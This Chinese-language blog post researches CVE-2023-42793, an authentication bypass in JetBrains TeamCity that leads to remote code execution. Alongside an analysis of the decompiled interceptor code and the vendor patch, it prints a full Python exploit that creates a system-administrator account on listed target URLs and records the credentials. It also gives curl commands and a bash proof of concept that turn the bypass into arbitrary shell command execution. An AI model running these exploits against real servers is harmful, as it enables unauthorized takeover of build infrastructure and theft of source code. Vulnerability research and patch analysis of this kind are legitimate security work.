JetBrains TeamCity 任意代碼執行漏洞(CVE-2023-42793)研究

一、JetBrains TeamCity簡介

TeamCity 是一款由 JetBrains 開發的強大的持續集成(Continuous Integration,CI)和持續部署(Continuous Deployment,CD)工具。它幫助開發團隊自動化構建、測試和部署過程,以確保軟件項目的質量和快速交付。
TeamCity 的主要特點和優勢包括:
  • 靈活的構建配置:TeamCity 支持多種構建工具(如 Maven、Gradle、npm、MSBuild 等),可輕鬆集成到現有的開發工具鏈中。它還提供了豐富的構建配置選項,允許您根據項目需求定製構建過程。
  • 實時構建狀態和反饋:TeamCity 提供了實時的構建狀態和反饋,幫助您快速發現並解決潛在問題。此外,它還支持與多種通知渠道(如郵件、Slack、HipChat 等)集成,確保團隊及時瞭解構建過程的情況。
  • 分佈式構建:TeamCity 支持分佈式構建,允許您在多臺構建代理上並行執行構建任務,以提高構建速度和效率。此外,它還可以根據負載和需求自動管理構建代理,確保資源的合理分配。
  • 豐富的插件生態:TeamCity 擁有豐富的插件生態,可以與衆多第三方工具和服務集成,如版本控制系統(如 Git、SVN、Mercurial 等)、問題跟蹤系統(如 Jira、YouTrack 等)以及代碼審查工具(如 Codecov、SonarQube 等)。
  • 支持多種部署方式:TeamCity 支持多種部署方式,如自動部署到雲服務(如 AWS、Google Cloud、Azure 等)、容器化部署(如 Docker、Kubernetes 等)以及傳統的虛擬機部署。
  • 高度可定製和擴展:TeamCity 提供了高度可定製的用戶界面,允許您根據團隊和項目需求調整界面佈局。此外,它還提供了豐富的 API 和擴展點,方便您開發自定義插件和集成其他工具。
  • 良好的安全性和權限管理:TeamCity 提供了一套完善的安全性和權限管理機制,支持用戶認證、角色授權以及訪問控制等功能,確保您的構建過程和敏感數據得到有效保護。
綜上,TeamCity 是一款功能強大的 CI/CD 工具,可以幫助開發團隊提高工作效率、確保代碼質量並加速軟件項目的交付。通過使用 TeamCity,開發團隊可以更容易地管理構建過程,快速發現和修復問題,減少人爲錯誤,並將更多精力投入到核心開發工作上。此外,TeamCity 還支持與多種工具和服務集成,可以與現有的開發工具鏈無縫銜接,進一步提高團隊的協作效率。

參考鏈接:

https://juejin.cn/post/7217082232937447485
https://www.jetbrains.com/teamcity/download/download-thanks.html?platform=mac

 

二、TeamCity使用

0x1:安裝

要安裝TeamCity很簡單,首先到下載頁面下載TeamCity,下載完成之後安裝即可。

TeamCity分爲兩個服務,

  • 一個叫做構建代理,實際的項目構建都是通過這個代理服務來執行的
  • 一個服務就是TeamCity的網頁版控制端,讓我們可以方便的通過網頁進行管理

在下載頁面上可以看到有多個操作系統,不論是Windows、macOS還是Linux都可以運行TeamCity。

  • 啓動程序:./runAll.sh start
  • 停止程序:./runAll.sh stop

0x2:初始化

安裝完成並啓動TeamCity之後,我們就可以在Web頁面中訪問它了。

http://127.0.0.1:8111/mnt

第一次使用需要配置用戶並初始化,之後稍微等待一段時間即可。

0x3:新建項目 

參考鏈接:

https://blog.csdn.net/whatday/article/details/108684562 
https://blog.csdn.net/weixin_41133233/article/details/86364238
https://blog.kangyonggan.com/2018/08/06/%E6%8C%81%E7%BB%AD%E9%9B%86%E6%88%90%E5%B7%A5%E5%85%B7TeamCity%E7%9A%84%E5%AE%89%E8%A3%85%E5%92%8C%E4%BD%BF%E7%94%A8/

 

三、漏洞復現

下載2023.05.4之前的版本,

該漏洞是由於對服務器 API 的訪問控制不足造成的,允許未經身份驗證的攻擊者訪問管理面板。

利用該漏洞,攻擊者可以通過網絡訪問 TeamCity 服務器,獲取項目源代碼,並通過在項目構建任務執行代理上執行任意代碼,對基礎架構發起進一步攻擊。該漏洞可能會給供應商帶來不可接受的網絡安全事件。

我們從一個python poc開始,逐步分析這個漏洞的成因,

python3 CVE-2023-42793.py -u http://127.0.0.1:8111/

import random
import requests
import argparse
import xml.etree.ElementTree as ET

Color_Off="\033[0m" 
Black="\033[0;30m"        # Black
Red="\033[0;31m"          # Red
Green="\033[0;32m"        # Green
Yellow="\033[0;33m"       # Yellow
Blue="\033[0;34m"         # Blue
Purple="\033[0;35m"       # Purple
Cyan="\033[0;36m"         # Cyan
White="\033[0;37m"        # White

class CVE_2023_42793:
    def __init__(self):
        self.url = ""
        self.session = requests.session()

    def username(self):
        name = "H454NSec"
        random_id = random.randint(1000, 9999)
        return f"{name}{random_id}"

    def delete_user_token(self, url):
        self.url = url
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Content-Type": "application/x-www-form-urlencoded",
            "Accept-Encoding": "gzip, deflate"
            }
        try:
            response = self.session.delete(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
            if response.status_code == 204 or  response.status_code == 404:
                self.create_user_token()
        except Exception as err:
            pass

    def create_user_token(self):
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Accept-Encoding": "gzip, deflate"
            }
        try:
            response = self.session.post(f"{self.url}/app/rest/users/id:1/tokens/RPC2", headers=headers, timeout=10)
            if response.status_code == 200:
                response_text = response.text
                root = ET.fromstring(response_text)
                value = root.get('value')
                if value.startswith("eyJ0eXAiOiAiVENWMiJ9"):
                    self.create_user(value)
        except Exception as err:
            pass

    def create_user(self, token):
        uname = self.username()
        headers = {
            "User-Agent": "Mozilla/5.0 (https://github.com/H454NSec/CVE-2023-42793) Gecko/20100101 Firefox/113.0",
            "Accept": "*/*",
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json",
            }
        creds = {
            "email": "",
            "username": uname,
            "password": "@H454NSec",
            "roles": {
                "role": [{
                        "roleId": "SYSTEM_ADMIN",
                        "scope": "g"
                    }]
            }
        }
        try:
            response = self.session.post(f"{self.url}/app/rest/users", headers=headers, json=creds, timeout=10)
            if response.status_code == 200:
                print(f"{Green}[+] {Yellow}{self.url}/login.html {Green}[{uname}:@H454NSec]{Color_Off}")
                with open("vulnerable.txt", "a") as o:
                    o.write(f"[{uname}:@H454NSec] {self.url}\n")
        except Exception as err:
            pass

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Url of the TeamCity')
    parser.add_argument('-l', '--list', help='List of urls')
    args = parser.parse_args()
    db = []
    url_list = args.list
    if url_list:
        try:
            with open(url_list, "r") as fr:
                for data in fr.readlines():
                    db.append(data.strip())
        except Exception as err:
            print(err)
    elif args.url:
        db.append(args.url)
        cve = CVE_2023_42793()
        for ip in db:
            url = ip[:-1] if ip.endswith("/") else ip
            if not url.startswith("https://"):
                if not url.startswith("http://"):
                    url = f"http://{url}"
            cve.delete_user_token(url)
View Code

這個poc的代碼流程也很簡單,

  1. 刪除用戶token
  2. 創建用戶token
  3. 創建用戶

參考鏈接:

https://www.4hou.com/posts/3rmQ 
https://blog.csdn.net/ptsecurity/article/details/133324429 
https://github.com/H454NSec/CVE-2023-42793/blob/main/CVE-2023-42793.py

 

四、漏洞代碼分析

這個漏洞的根源是鑑權身份認證繞過。

首先,我們看一下配置文件,找一下認證的位置。發現認證位置在calledOnceInterceptors裏面,這個的調用是在jetbrains.buildServer.controllers.interceptors類下面。

<mvc:interceptors>:這是 Spring MVC 中配置攔截器的部分。它列出了多個攔截器,這些攔截器將在請求處理過程中按順序執行。每個元素引用一個攔截器 bean。

這段配置文件指定了一組攔截器,它們將在請求處理過程中執行特定的邏輯。這些攔截器通常用於在請求到達控制器之前或之後執行一些操作,比如接下來的身份驗證。而且可以看到這個calledOnceInterceptors是jetbrains.buildServer.controllers.interceptors.RequestInterceptors實例,在具體的ref配置中可以看到,將authorizedUserInterceptor認證添加到實例中。

接下來反編譯 /TeamCity-2023.05.2/webapps/ROOT/WEB-INF/lib/web.jar,

配置完攔截器後,接下來將對請求進行攔截。

具體攔截邏輯在 preHandle 方法中實現,我們來重點分析一下這塊函數邏輯,

首先,它調用requestPreHandlingAllowed(paramHttpServletRequest) 方法來檢查請求是否允許進行預處理。如果這個方法返回true,那麼會執行 myInterceptors 列表中每個攔截器的 preHandle 方法。 

跟進requestPreHandlingAllowed()分析。

requestPreHandlingAllowed 方法檢查是否應該跳過身份驗證檢查。

其中,myPreHandlingDisabled 包含通配符路徑 /**/RPC2,用於測試傳入 HTTP 請求的路徑。

如果請求的路徑匹配了 myPreHandlingDisabled 中的路徑,requestPreHandlingAllowed 返回 false,這將導致 preHandle 方法提前返回,從而繞過身份驗證檢查。

這導致了一個典型的授權繞過漏洞。如果攻擊者能夠構造請求,以便路徑匹配 /**/RPC2,則可以繞過身份驗證,從而執行某些操作,而無需經過正常的身份驗證和授權檢查。 

對於攻擊者來說,尋找在應用程序中使用了 /**/RPC2 路徑的端點,然後構造請求以匹配這個路徑。一旦找到這樣的目標端點,攻擊者就可以發送請求,繞過身份驗證和授權檢查來執行攻擊。

接下來反編譯 /TeamCity-2023.05.2/webapps/ROOT/WEB-INF/plugins/rest-api/server/rest-api.jar,

越權獲取高權限token的漏洞代碼在 jetbrains.buildServer.server.rest.request.UserRequest, 

createToken方法允許調用者通過向端點發送 HTTP POST 請求來爲指定用戶創建訪問令牌/app/rest/users/{userLocator}/tokens/{name},而{name}允許結尾以/RPC2來繞過身份驗證。

通過將 "userLocator" 參數設置爲 "id:1",可以調用 "createToken" 方法並使用管理員用戶的憑證來創建令牌。這個令牌可以用於進行授權操作或執行其他需要管理員權限的操作。

在獲取了高權限賬號token後,執行任意指令的漏洞代碼在 jetbrains.buildServer.server.rest.request.DebugRequest,這是一個產品界面上沒有的未記錄的調試API端點,

調用此端點的能力由配置選項控制rest.debug.processes.enable,默認情況下禁用。因此,我們必須首先通過以下請求啓用此選項。

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.VFZ1UFo1RGNjVkpFVF80QVRPQi0xNUt0WGVn.ODEyNzMzNGMtZDllNi00MDY3LTg1MzMtZDAwYjBhNmRlZDA2" -X POST "http://127.0.0.1:8111/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true"

最後,爲了讓系統使用此選項,我們必須通過以下請求刷新服務器。

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.VFZ1UFo1RGNjVkpFVF80QVRPQi0xNUt0WGVn.ODEyNzMzNGMtZDllNi00MDY3LTg1MzMtZDAwYjBhNmRlZDA2" "http://127.0.0.1:8111/admin/admin.html?item=diagnostics^&tab=dataDir^&file=config/internal.properties"

我們現在可以在服務器上運行任意 shell 命令,並向端點發出以下請求/app/rest/debug/processes。例如:

curl -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.a1dtOWtUY1B6RXhZZHVtMGxDRnhCeW52X2FR.OTFhM2Y0OWYtMGFlZC00N2UyLWEyZWItNjU0YzliNjc5NDg2" -X POST "http://127.0.0.1:8111/app/rest/debug/processes?exePath=bash^&params=-c whoami"

綜上poc如下:

#!/bin/bash

if [ "$#" -ne 3 ]; then
    echo "Usage: $0 <base_url> <port> <command>"
    exit 1
fi

BASE_URL="$1"
PORT="$2"
COMMAND="$3"

TOKEN_ENDPOINT="${BASE_URL}:${PORT}/app/rest/users/id:1/tokens/RPC2"
EDIT_FILE_ENDPOINT="${BASE_URL}:${PORT}/admin/dataDir.html?action=edit&fileName=config/internal.properties&content=rest.debug.processes.enable=true"
RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=${COMMAND}"

TOKEN_RESPONSE=$(curl -X POST "$TOKEN_ENDPOINT")
BEARER_TOKEN=$(echo "$TOKEN_RESPONSE" | grep -oP 'value="\K[^"]+')

curl -s -X POST "$EDIT_FILE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}"

RESPONSE=$(curl -s -X POST "$RCE_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}" | awk -F 'StdOut:|StdErr:' '{print $2}' )

curl -s -X DELETE "$TOKEN_ENDPOINT" -H "Authorization: Bearer ${BEARER_TOKEN}"

echo $RESPONSE

參考鏈接:

http://java-decompiler.github.io/
https://www.ctfiot.com/141977.html
https://forum.butian.net/share/2514

 

五、修復建議

根據供應商的建議,要修復該漏洞,應將 TeamCity 服務器升級到 2023.05.4 版。 要降低與該漏洞相關的風險,應安裝供應商的補丁插件。 

分析一下漏洞補丁:https://blog.jetbrains.com/zh-hans/teamcity/2023/09/critical-security-issue-affecting-teamcity-on-premises-update-to-2023-05-4-now/

myPreHandlingDisabled 對象中添加了路徑 "/RPC2" 並刪除了所有匹配 "/**/RPC2" 的路徑。這意味着它禁止訪問所有類似 "/example/RPC2"、"/test/RPC2" 這樣的路徑。

 

 
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章